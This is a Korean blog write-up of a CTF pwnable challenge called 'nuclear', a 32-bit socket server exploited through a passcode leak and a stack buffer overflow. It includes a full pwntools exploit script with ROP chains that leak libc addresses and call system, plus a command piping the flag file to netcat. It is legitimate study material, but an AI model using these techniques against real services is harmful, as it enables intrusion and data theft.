2018. 8. 5. 21:17

writeup까지 쓸 생각은 없었는데;


풀다보니까... 생각보다 시간을 많이 잡아먹고, 좀 유의해야할것도 있는 것 같아서 생각을 정리하는 김에 글로 써서 남긴다.


하... 대체 왜 이렇게 시간을 잡아먹은 건지 ㅡㅡ;


nuclear



nuclear: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=49e7c88b99cd6526e37d016c08e8e5cfeb526474, stripped

 



일단 주어진 바이너리는 32bit 이고, 보호기법은 NX가 걸려있다.


IDA로 보면 소켓 프로그램인 것을 알 수있다.



socket() 함수로 소켓을 생성한다. 이 때 값은 파일/소켓 디스크립터로 반환되고 이 값은 3이다.

그 후 bind() 함수로 소켓에 IP주소와 포트번호를 지정해준다. 여기서는 localhost로 1129포트로 지정하였고, bind()함수는 성공하면 0, 실패하면 -1를 반환한다.



그 후 accept() 함수로 클라이언트의 접속 요청을 받고, 클라이언트와 통신하는 전용 소켓을 생성한다.

이 함수 역시 반환값으로 소켓/파일 디스크립터를 반환하고, 이 값은 4이다.


그럼 먼저 저 바이너리를 실행하고, 로컬포트 1129로 접속해보자.



Nuclear Control System 이라 뜨게 된다.

다시 Ida로 돌아와 살펴보자. 저 부분을 실행하는 함수이름을 Main_8048c65라고 지정하였다.

소켓을 생성하고, 그 값을 인자로 넘겨 실행하게 된다.


이제 우리는 소켓디스크립터값을 이용해 이 프로그램과 통신하게 된다.



일단 변수들은 위와 같이 선언 할당되어있다.

위에는 조금 짤렸는데 passcode라는 변수에 THIS_IS_NOT_KEY_JUST_PASSCODE의 값을 읽어와서 저장해준다.

사용할 수 있는 명령어로는 "quit", "target", "launch"가 있는데


여기서 launch 함수를 보면 사용자로부터 buffer에 입력을 받아 passcode값과 비교한 후,

그 값이 일치하면 pthread_create로 sub_8048B9C함수를 실행해준다.



해당 함수는 카운트 다운 함수인데, 100초를 세고, 100초가 다 세어지면 핵폭팔이 일어나는 것을 볼 수 있다.





중요한 것은 핵폭팔이 일어나는것이 아니라, 저 함수를 실행할 때

pthread로 실행하게 되는 start_routine함수이다.




이 함수를 보면 buf는 bp에서 0x20c만큼 떨어져있지만 사용자로부터 0x512만큼의 값을 받으므로 overflow가 발생한다.

여기서 이제 함수의 흐름을 조작할 수 있다.


그런데 위에서는 필자가 passcode를 알고 있으므로, launch를 실행시킬수 있었지만, 원래는 그 값을 알 수 가 없다.



passcode의 값은 buffer에서 0x208만큼 떨어져있고, buffer에는 0x200만큼만 입력이 된다.

그리고 그 사이에 v4와 v5의 값이 들어가 있는데, 만약 buffer에 NULL바이트 없이 0x200만큼 꽉 차있고

v4와 v5에도 NULL바이트가 없다면, 아래 루틴에서 buffer를 passcode까지 이어서 출력하게 될 것이다.



그러므로 우리는 target 명령어를 통해서 v4와 v5값을 float값으로 채워서 NULL바이트를 없애주고, command입력시 "A"*0x200을 입력하면

passcode값이 leak 될 것이다.





자 그럼 이제, exploit을 하면 된다.


passcode를 leak해서 launch를 실행하고, start_routine에 진입하여, 거기서 프로그램 실행흐름을 조작하면 된다.

처음에는 puts함수를 이용해 다른 함수의 주소를 leak하려하였지만, 소켓프로그램이기 때문에 소켓에 통신하고있는 사용자에게 leak된 주소가 출력되지않고, 서버에 출력되는 것을 알 수 있었다 ㅡㅡ; (이 부분때문에 삽질을 했다.)


주의해야할 점이다. send함수를 통해 소켓디스크립터로 leak한 것을 사용자에게 보내면 된다.

그렇게 함수 주소를 leak하고 offset을 통해 system함수의 주소를 알아내어 프로그램 흐름을 조작하면 된다.


여기서 system("/bin/sh")을 실행하였지만; 당연하게도 소켓프로그램인지라 사용자에게는 쉘이 띄워질리 없기때문에

리버스쉘이나 바인드쉘을 사용하여야한다. 여기선 flag만 가져오면 되기 때문에 system("cat flag | nc localhost 9999")와 같이 실행한다.


이렇게 프로그램 자체에서 소켓을 열고, 소켓디스크립터를 통해 통신을 하는 경우엔 system("/bin/sh")를 한다고 사용자에게 쉘이 떨어지는것이 아니니 주의하여야 할것같다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
 
#context.log_level = 'debug'
 
elf = ELF("./nuclear")
conn = remote("localhost"1129)
 
def sendCommand(cmd):
    conn.recvuntil("> ")
    conn.send(cmd)
    
def targetSet(Location):
    sendCommand("target")
    conn.recvuntil("---> ")
    conn.sendline(Location)
    
def Launch(passcode):
    sendCommand("launch")
    conn.recvuntil(": ")
    conn.sendline(passcode)
    
targetSet("5.5123/5.5123")
sendCommand("A"*0x200)
 
#leak
conn.recvuntil(" Unknown command : ")
conn.recv(0x208)
passcode = conn.recvline().strip()
 
log.info("passcode : " + passcode)
 
#Launch Nuclear
Launch(passcode)
 
send_plt = elf.symbols['send']
recv_plt = elf.symbols['recv']
recv_got = elf.got['recv']
send_got = elf.got['send']
 
start_routine = 0x8048B5B
pppr = 0x804917d
ppppr = 0x804917c
fd = 0x4
 
#bof
payload = "A"*0x200
payload += p32(fd)
payload += "B"*12
payload += p32(send_plt)
payload += p32(pppr)
payload += p32(fd)
payload += p32(recv_got)
payload += p32(4)
payload += p32(send_plt)
payload += p32(pppr)
payload += p32(fd)
payload += p32(send_got)
payload += p32(5)
payload += p32(start_routine)
payload += p32(0xdeadbeef)
payload += p32(fd)
 
conn.recvuntil("COUNT DOWN : 100")
conn.sendline(payload)
 
conn.recvuntil("We can't stop this action.. G00D Luck!\n")
recv_addr = conn.recv(4)
send_addr = conn.recv(4)
 
system_addr = u32(recv_addr)-0x18a5a0
 
log.info("recv_addr : 0x%x" % u32(recv_addr))
log.info("send_addr : 0x%x" % u32(send_addr))
 
payload = "A"*0x200
payload += p32(fd)
payload += "B"*12
payload += p32(recv_plt)
payload += p32(ppppr)
payload += p32(fd)
payload += p32(elf.bss())
payload += p32(50)
payload += p32(0)
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(elf.bss())
conn.recvuntil("COUNT DOWN : 99")
conn.sendline(payload)
 
conn.interactive()
cs





'Write-up > Pwnable' 카테고리의 다른 글

[WhiteHatWargame.vn] mini-game  (0) 2018.08.13
[WhiteHatWargame.vn] onechange  (0) 2018.08.13
[MeePwnCTF 2018] one_shot writeup  (0) 2018.07.26
[MeePwnCTF 2018] one_shot (대회 당시 삽질한 글)  (0) 2018.07.26
[RCTF 2017] Recho  (0) 2018.07.10

+ Recent posts